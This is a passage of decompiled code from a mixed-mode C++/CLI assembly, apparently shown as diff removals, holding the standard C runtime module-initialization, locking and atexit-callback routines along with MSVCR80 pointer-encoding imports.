\u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EThrowModuleLoadException(\u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u002EP\u0024AAVString\u0040System\u0040\u0040((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) obj0)); - \u003CModule\u003E._initterm((__FnPtr*) &\u003CModule\u003E.__xc_a, (__FnPtr*) &\u003CModule\u003E.__xc_z); - \u003CModule\u003E.__native_startup_state = (__enative_startup_state) 2; - \u003CModule\u003E.\u003FInitializedNativeFromCCTOR\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA = true; - \u003CModule\u003E.\u003FInitializedNative\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A = (Progress.State) 2; - break; - case (__enative_startup_state) 1: - \u003CModule\u003E._amsg_exit(33); - break; - } - } - - [DebuggerStepThrough] - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitializePerProcess( - [In] LanguageSupport* obj0) - { - \u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u003D((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) obj0, "The C++ module failed to load during process initialization.\n"); - \u003CModule\u003E.\u003FInitializedPerProcess\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A = (Progress.State) 1; - \u003CModule\u003E._initatexit_m(); - \u003CModule\u003E._initterm_m((__FnPtr*) &\u003CModule\u003E.\u003FA0xaf140350\u002E__xc_mp_a, (__FnPtr*) &\u003CModule\u003E.\u003FA0xaf140350\u002E__xc_mp_z); - \u003CModule\u003E.\u003FInitializedPerProcess\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A = (Progress.State) 2; - \u003CModule\u003E.\u003FInitializedPerProcess\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA = true; - } - - [DebuggerStepThrough] - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitializePerAppDomain( - [In] LanguageSupport* obj0) - { - \u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u003D((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) obj0, "The C++ module failed to load during appdomain initialization.\n"); - \u003CModule\u003E.\u003FInitializedPerAppDomain\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A = (Progress.State) 1; - \u003CModule\u003E._initatexit_app_domain(); - \u003CModule\u003E._initterm_m((__FnPtr*) &\u003CModule\u003E.\u003FA0xaf140350\u002E__xc_ma_a, (__FnPtr*) &\u003CModule\u003E.\u003FA0xaf140350\u002E__xc_ma_z); - \u003CModule\u003E.\u003FInitializedPerAppDomain\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2W4State\u0040Progress\u00402\u0040A = (Progress.State) 2; - } - - [DebuggerStepThrough] - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitializeUninitializer( - [In] LanguageSupport* obj0) - { - \u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u003D((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) obj0, "The C++ module failed to load during registration for the unload events.\n"); - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ERegisterModuleUninitializer(new EventHandler(\u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EDomainUnload)); - } - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [DebuggerStepThrough] - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002E_Initialize( - [In] LanguageSupport* obj0) - { - \u003CModule\u003E.\u003FIsDefaultDomain\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2_NA = AppDomain.CurrentDomain.IsDefaultAppDomain(); - if (\u003CModule\u003E.\u003FIsDefaultDomain\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2_NA) - \u003CModule\u003E.\u003FEntered\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA = true; - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EDoDllLanguageSupportValidation(); - void* fiberPtrId = \u003CModule\u003E._getFiberPtrId(); - int num1 = 0; - int num2 = 0; - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - while (num2 == 0) - { - try - { - } - finally - { - IntPtr comparand = (IntPtr) 0; - IntPtr num3 = (IntPtr) fiberPtrId; - // ISSUE: cast to a reference type - void* voidPtr = (void*) Interlocked.CompareExchange((IntPtr&) ref \u003CModule\u003E.__native_startup_lock, num3, comparand); - if ((IntPtr) voidPtr == IntPtr.Zero) - num2 = 1; - else if (voidPtr == fiberPtrId) - { - num1 = 1; - num2 = 1; - } - } - if (num2 == 0) - \u003CModule\u003E.Sleep(1000U); - } - if (!\u003CModule\u003E.\u003FIsDefaultDomain\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2_NA) - { - if (\u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EDefaultDomain\u002ENeedsInitialization()) - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitializeDefaultAppDomain(obj0); - } - } - finally - { - if (num1 == 0) - { - IntPtr num4 = (IntPtr) 0; - // ISSUE: cast to a reference type - Interlocked.Exchange((IntPtr&) ref \u003CModule\u003E.__native_startup_lock, num4); - } - } - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitializeVtables(obj0); - if (\u003CModule\u003E.\u003FIsDefaultDomain\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2_NA) - { - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitializeNative(obj0); - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitializePerProcess(obj0); - } - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitializePerAppDomain(obj0); - \u003CModule\u003E.\u003FInitialized\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2HA = 1; - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitializeUninitializer(obj0); - } - - internal static void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EUninitializeAppDomain() => \u003CModule\u003E._app_exit_callback(); - - internal static unsafe int \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002E_UninitializeDefaultDomain( - void* cookie) - { - \u003CModule\u003E._exit_callback(); - \u003CModule\u003E.\u003FInitializedPerProcess\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA = false; - if (\u003CModule\u003E.\u003FInitializedNativeFromCCTOR\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA) - { - \u003CModule\u003E._cexit(); - \u003CModule\u003E.__native_startup_state = (__enative_startup_state) 0; - \u003CModule\u003E.\u003FInitializedNativeFromCCTOR\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA = false; - } - \u003CModule\u003E.\u003FInitializedNative\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA = false; - return 0; - } - - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EUninitializeDefaultDomain() - { - if (!\u003CModule\u003E.\u003FEntered\u0040DefaultDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402_NA) - return; - if (AppDomain.CurrentDomain.IsDefaultAppDomain()) - { - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002E_UninitializeDefaultDomain((void*) 0); - } - else - { - // ISSUE: cast to a function pointer type - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EDoCallBackInDefaultDomain((__FnPtr) (IntPtr) \u003CModule\u003E.__unep\u0040\u003F_UninitializeDefaultDomain\u0040LanguageSupport\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024FCGJPAX\u0040Z, (void*) 0); - } - } - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [PrePrepareMethod] - internal static void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EDomainUnload( - object source, - EventArgs arguments) - { - if (\u003CModule\u003E.\u003FInitialized\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2HA == 0 || Interlocked.Exchange(ref \u003CModule\u003E.\u003FUninitialized\u0040CurrentDomain\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q2HA, 1) != 0) - return; - int num = Interlocked.Decrement(ref \u003CModule\u003E.\u003FCount\u0040AllDomains\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402HA) == 0 ? 1 : 0; - \u003CModule\u003E._app_exit_callback(); - if ((byte) num == (byte) 0) - return; - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EUninitializeDefaultDomain(); - } - - [DebuggerStepThrough] - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002ECleanup( - [In] LanguageSupport* obj0, - Exception innerException) - { - try - { - bool flag = Interlocked.Decrement(ref \u003CModule\u003E.\u003FCount\u0040AllDomains\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402HA) == 0; - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EUninitializeAppDomain(); - if (!flag) - return; - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EUninitializeDefaultDomain(); - } - catch (Exception ex) - { - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EThrowNestedModuleLoadException(innerException, ex); - } - catch - { - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EThrowNestedModuleLoadException(innerException, (Exception) null); - } - } - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [DebuggerStepThrough] - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitialize( - [In] LanguageSupport* obj0) - { - bool flag = false; - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - \u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u003D((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) obj0, "The C++ module failed to load.\n"); - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - } - finally - { - Interlocked.Increment(ref \u003CModule\u003E.\u003FCount\u0040AllDomains\u0040\u003CCrtImplementationDetails\u003E\u0040\u00402HA); - flag = true; - } - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002E_Initialize(obj0); - } - catch (Exception ex) - { - if (flag) - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002ECleanup(obj0, ex); - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EThrowModuleLoadException(\u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u002EP\u0024AAVString\u0040System\u0040\u0040((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) obj0), ex); - } - catch - { - if (flag) - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002ECleanup(obj0, (Exception) null); - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EThrowModuleLoadException(\u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u002EP\u0024AAVString\u0040System\u0040\u0040((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) obj0), (Exception) null); - } - } - - [DebuggerStepThrough] - static unsafe \u003CModule\u003E() - { - LanguageSupport languageSupport; - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002E\u007Bctor\u007D(&languageSupport); - // ISSUE: fault handler - try - { - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002EInitialize(&languageSupport); - } - __fault - { - // ISSUE: method pointer - // ISSUE: cast to a function pointer type - \u003CModule\u003E.___CxxCallUnwindDtor((__FnPtr) __methodptr(\u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002E\u007Bdtor\u007D), (void*) &languageSupport); - } - \u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u007Bdtor\u007D((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) &languageSupport); - } - - internal static unsafe LanguageSupport* \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002E\u007Bctor\u007D( - [In] LanguageSupport* obj0) - { - \u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u007Bctor\u007D((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) obj0); - return obj0; - } - - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002ELanguageSupport\u002E\u007Bdtor\u007D( - [In] LanguageSupport* obj0) - { - \u003CModule\u003E.gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u007Bdtor\u007D((gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E*) obj0); - } - - [DebuggerStepThrough] - internal static unsafe gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E* gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u007Bctor\u007D( - [In] gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E* obj0) - { - IntPtr num = (IntPtr) GCHandle.Alloc((object) null); - *(int*) obj0 = (int) num.ToPointer(); - return obj0; - } - - [DebuggerStepThrough] - internal static unsafe void gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u007Bdtor\u007D( - [In] gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E* obj0) - { - ((GCHandle) new IntPtr((void*) *(int*) obj0)).Free(); - *(int*) obj0 = 0; - } - - [DebuggerStepThrough] - internal static unsafe gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E* gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u003D( - [In] gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E* obj0, - string t) - { - ((GCHandle) new IntPtr((void*) *(int*) obj0)).Target = (object) t; - return obj0; - } - - internal static unsafe string gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E\u002E\u002EP\u0024AAVString\u0040System\u0040\u0040( - [In] gcroot\u003CSystem\u003A\u003AString\u0020\u005E\u003E* obj0) - { - return (string) ((GCHandle) new IntPtr((void*) *(int*) obj0)).Target; - } - - [DebuggerStepThrough] - internal static unsafe ValueType \u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_handle() => (IntPtr) \u003CModule\u003E.\u003F_lock\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0PAXA != IntPtr.Zero ? (ValueType) GCHandle.FromIntPtr(new IntPtr(\u003CModule\u003E.\u003F_lock\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0PAXA)) : (ValueType) null; - - [DebuggerStepThrough] - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_lock_Construct( - object value) - { - \u003CModule\u003E.\u003F_lock\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0PAXA = (void*) 0; - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_lock_Set(value); - } - - [DebuggerStepThrough] - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_lock_Set( - object value) - { - ValueType valueType = \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_handle(); - if (valueType == null) - \u003CModule\u003E.\u003F_lock\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0PAXA = GCHandle.ToIntPtr(GCHandle.Alloc(value)).ToPointer(); - else - ((GCHandle) valueType).Target = value; - } - - [DebuggerStepThrough] - internal static object \u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_lock_Get() - { - ValueType valueType = \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_handle(); - return valueType != null ? ((GCHandle) valueType).Target : (object) null; - } - - [DebuggerStepThrough] - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_lock_Destruct() - { - ValueType valueType = \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_handle(); - if (valueType == null) - return; - ((GCHandle) valueType).Free(); - \u003CModule\u003E.\u003F_lock\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0PAXA = (void*) 0; - } - - [DebuggerStepThrough] - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002EIsInitialized() => \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_lock_Get() != null; - - [DebuggerStepThrough] - internal static unsafe void \u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002EAddRef() - { - if (!\u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002EIsInitialized()) - { - object obj = new object(); - \u003CModule\u003E.\u003F_lock\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0PAXA = (void*) 0; - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_lock_Set(obj); - \u003CModule\u003E.\u003F_ref_count\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0HA = 0; - } - ++\u003CModule\u003E.\u003F_ref_count\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0HA; - } - - [DebuggerStepThrough] - internal static void \u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002ERemoveRef() - { - --\u003CModule\u003E.\u003F_ref_count\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0HA; - if (\u003CModule\u003E.\u003F_ref_count\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0HA != 0) - return; - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_lock_Destruct(); - } - - [DebuggerStepThrough] - internal static void \u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002EEnter() => Monitor.Enter(\u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_lock_Get()); - - [DebuggerStepThrough] - internal static void \u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002EExit() => Monitor.Exit(\u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_lock_Get()); - - [DebuggerStepThrough] - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u003FA0x9b698f77\u002E__global_lock() - { - bool flag = false; - if (\u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002EIsInitialized()) - { - Monitor.Enter(\u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_lock_Get()); - flag = true; - } - return flag; - } - - [DebuggerStepThrough] - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u003FA0x9b698f77\u002E__global_unlock() - { - bool flag = false; - if (\u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002EIsInitialized()) - { - Monitor.Exit(\u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_lock_Get()); - flag = true; - } - return flag; - } - - [DebuggerStepThrough] - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u003FA0x9b698f77\u002E__alloc_global_lock() - { - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002EAddRef(); - return \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002EIsInitialized(); - } - - [DebuggerStepThrough] - internal static void \u003FA0x9b698f77\u002E__dealloc_global_lock() - { - --\u003CModule\u003E.\u003F_ref_count\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0HA; - if (\u003CModule\u003E.\u003F_ref_count\u0040AtExitLock\u0040\u003CCrtImplementationDetails\u003E\u0040\u0040\u0024\u0024Q0HA != 0) - return; - \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EAtExitLock\u002E_lock_Destruct(); - } - - internal static unsafe int _atexit_helper( - __FnPtr func, - uint* __pexit_list_size, - __FnPtr** __ponexitend, - __FnPtr** __ponexitbegin) - { - // ISSUE: cast to a function pointer type - __FnPtr local1 = (__FnPtr) 0; - if (func == null) - return -1; - int num1; - if (\u003CModule\u003E.\u003FA0x9b698f77\u002E__global_lock()) - { - try - { - if (*__pexit_list_size - 1U < (uint) (*(int*) __ponexitend - *(int*) __ponexitbegin) >> 2) - { - try - { - uint num2 = *__pexit_list_size * 4U; - uint num3 = num2 >= 2048U ? 2048U : num2; - IntPtr cb = new IntPtr((int) num2 + (int) num3); - IntPtr num4 = Marshal.ReAllocHGlobal(new IntPtr((void*) *(int*) __ponexitbegin), cb); - __FnPtr** local2 = __ponexitend; - IntPtr num5 = *(int*) local2 + ((IntPtr) num4.ToPointer() - *(int*) __ponexitbegin); - *(int*) local2 = (int) num5; - *(int*) __ponexitbegin = (int) num4.ToPointer(); - uint num6 = *__pexit_list_size; - uint num7 = 512U >= num6 ? num6 : 512U; - *__pexit_list_size = num6 + num7; - } - catch (OutOfMemoryException ex) - { - IntPtr cb = new IntPtr((int) *__pexit_list_size * 4 + 8); - IntPtr num8 = Marshal.ReAllocHGlobal(new IntPtr((void*) *(int*) __ponexitbegin), cb); - __FnPtr** local3 = __ponexitend; - IntPtr num9 = *(int*) local3 + ((IntPtr) num8.ToPointer() - *(int*) __ponexitbegin); - *(int*) local3 = (int) num9; - *(int*) __ponexitbegin = (int) num8.ToPointer(); - uint* numPtr = __pexit_list_size; - int num10 = (int) *numPtr + 4; - *numPtr = (uint) num10; - } - } - *(int*) *(int*) __ponexitend = (int) func; - __FnPtr** local4 = __ponexitend; - int num11 = *(int*) local4 + 4; - *(int*) local4 = num11; - local1 = func; - } - catch (OutOfMemoryException ex) - { - } - finally - { - \u003CModule\u003E.\u003FA0x9b698f77\u002E__global_unlock(); - } - if (local1 != null) - { - num1 = 0; - goto label_12; - } - } - num1 = -1; -label_12: - return num1; - } - - internal static unsafe void _exit_callback() - { - if (\u003CModule\u003E.\u003FA0x9b698f77\u002E__exit_list_size == 0U) - return; - __FnPtr* local1 = (__FnPtr*) \u003CModule\u003E._decode_pointer((void*) \u003CModule\u003E.\u003FA0x9b698f77\u002E__onexitbegin_m); - __FnPtr* local2 = (__FnPtr*) \u003CModule\u003E._decode_pointer((void*) \u003CModule\u003E.\u003FA0x9b698f77\u002E__onexitend_m); - if ((IntPtr) local1 != new IntPtr(-1) && (IntPtr) local1 != IntPtr.Zero && (IntPtr) local2 != IntPtr.Zero) - { - while (true) - { - do - { - local2 -= 4; - if (local2 < local1) - goto label_5; - } - while ((IntPtr) *(int*) local2 == (IntPtr) \u003CModule\u003E._encoded_null()); - void* voidPtr = \u003CModule\u003E._decode_pointer((void*) *(int*) local2); - *(int*) local2 = (int) \u003CModule\u003E._encoded_null(); - // ISSUE: cast to a function pointer type - // ISSUE: function pointer call - __calli((__FnPtr) (IntPtr) voidPtr)(); - local1 = (__FnPtr*) \u003CModule\u003E._decode_pointer((void*) \u003CModule\u003E.\u003FA0x9b698f77\u002E__onexitbegin_m); - local2 = (__FnPtr*) \u003CModule\u003E._decode_pointer((void*) \u003CModule\u003E.\u003FA0x9b698f77\u002E__onexitend_m); - } -label_5: - Marshal.FreeHGlobal(new IntPtr((void*) local1)); - } - \u003CModule\u003E.\u003FA0x9b698f77\u002E__dealloc_global_lock(); - } - - [DebuggerStepThrough] - internal static unsafe int _initatexit_m() - { - if (!\u003CModule\u003E.\u003FA0x9b698f77\u002E__alloc_global_lock()) - return 0; - \u003CModule\u003E.\u003FA0x9b698f77\u002E__onexitbegin_m = (__FnPtr*) \u003CModule\u003E._encode_pointer(Marshal.AllocHGlobal(128).ToPointer()); - \u003CModule\u003E.\u003FA0x9b698f77\u002E__onexitend_m = \u003CModule\u003E.\u003FA0x9b698f77\u002E__onexitbegin_m; - \u003CModule\u003E.\u003FA0x9b698f77\u002E__exit_list_size = 32U; - return 1; - } - - internal static __FnPtr _onexit_m(__FnPtr _Function) => \u003CModule\u003E._atexit_m((__FnPtr) _Function) != -1 ? _Function : (__FnPtr) 0; - - internal static unsafe int _atexit_m(__FnPtr func) - { - __FnPtr* local1 = (__FnPtr*) \u003CModule\u003E._decode_pointer((void*) \u003CModule\u003E.\u003FA0x9b698f77\u002E__onexitbegin_m); - __FnPtr* local2 = (__FnPtr*) \u003CModule\u003E._decode_pointer((void*) \u003CModule\u003E.\u003FA0x9b698f77\u002E__onexitend_m); - // ISSUE: cast to a function pointer type - int num = \u003CModule\u003E._atexit_helper((__FnPtr) (IntPtr) \u003CModule\u003E._encode_pointer((void*) func), &\u003CModule\u003E.\u003FA0x9b698f77\u002E__exit_list_size, &local2, &local1); - \u003CModule\u003E.\u003FA0x9b698f77\u002E__onexitbegin_m = (__FnPtr*) \u003CModule\u003E._encode_pointer((void*) local1); - \u003CModule\u003E.\u003FA0x9b698f77\u002E__onexitend_m = (__FnPtr*) \u003CModule\u003E._encode_pointer((void*) local2); - return num; - } - - [DebuggerStepThrough] - internal static unsafe int _initatexit_app_domain() - { - if (\u003CModule\u003E.\u003FA0x9b698f77\u002E__alloc_global_lock()) - { - \u003CModule\u003E.__onexitbegin_app_domain = (__FnPtr*) \u003CModule\u003E._encode_pointer(Marshal.AllocHGlobal(128).ToPointer()); - \u003CModule\u003E.__onexitend_app_domain = \u003CModule\u003E.__onexitbegin_app_domain; - \u003CModule\u003E.__exit_list_size_app_domain = 32U; - } - return 1; - } - - internal static unsafe void _app_exit_callback() - { - if (\u003CModule\u003E.__exit_list_size_app_domain == 0U) - return; - __FnPtr* local1 = (__FnPtr*) \u003CModule\u003E._decode_pointer((void*) \u003CModule\u003E.__onexitbegin_app_domain); - __FnPtr* local2 = (__FnPtr*) \u003CModule\u003E._decode_pointer((void*) \u003CModule\u003E.__onexitend_app_domain); - try - { - if ((IntPtr) local1 == new IntPtr(-1) || (IntPtr) local1 == IntPtr.Zero || (IntPtr) local2 == IntPtr.Zero) - return; - while (true) - { - do - { - local2 -= 4; - } - while (local2 >= local1 && (IntPtr) *(int*) local2 == (IntPtr) \u003CModule\u003E._encoded_null()); - if (local2 >= local1) - { - // ISSUE: cast to a function pointer type - __FnPtr local3 = (__FnPtr) (IntPtr) \u003CModule\u003E._decode_pointer((void*) *(int*) local2); - *(int*) local2 = (int) \u003CModule\u003E._encoded_null(); - // ISSUE: function pointer call - __calli(local3)(); - local1 = (__FnPtr*) \u003CModule\u003E._decode_pointer((void*) \u003CModule\u003E.__onexitbegin_app_domain); - local2 = (__FnPtr*) \u003CModule\u003E._decode_pointer((void*) \u003CModule\u003E.__onexitend_app_domain); - } - else - break; - } - } - finally - { - Marshal.FreeHGlobal(new IntPtr((void*) local1)); - \u003CModule\u003E.\u003FA0x9b698f77\u002E__dealloc_global_lock(); - } - } - - internal static __FnPtr _onexit_m_appdomain(__FnPtr _Function) => \u003CModule\u003E._atexit_m_appdomain((__FnPtr) _Function) != -1 ? _Function : (__FnPtr) 0; - - [DebuggerStepThrough] - internal static unsafe int _atexit_m_appdomain(__FnPtr func) - { - __FnPtr* local1 = (__FnPtr*) \u003CModule\u003E._decode_pointer((void*) \u003CModule\u003E.__onexitbegin_app_domain); - __FnPtr* local2 = (__FnPtr*) \u003CModule\u003E._decode_pointer((void*) \u003CModule\u003E.__onexitend_app_domain); - // ISSUE: cast to a function pointer type - int num = \u003CModule\u003E._atexit_helper((__FnPtr) (IntPtr) \u003CModule\u003E._encode_pointer((void*) func), &\u003CModule\u003E.__exit_list_size_app_domain, &local2, &local1); - \u003CModule\u003E.__onexitbegin_app_domain = (__FnPtr*) \u003CModule\u003E._encode_pointer((void*) local1); - \u003CModule\u003E.__onexitend_app_domain = (__FnPtr*) \u003CModule\u003E._encode_pointer((void*) local2); - return num; - } - - [SuppressUnmanagedCodeSecurity] - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [DllImport("MSVCR80.dll", CallingConvention = CallingConvention.Cdecl)] - public static extern unsafe void* _encode_pointer(void* _param0); - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [SuppressUnmanagedCodeSecurity] - [DllImport("MSVCR80.dll", CallingConvention = CallingConvention.Cdecl)] - public static extern unsafe void* _decode_pointer(void* _param0); - - 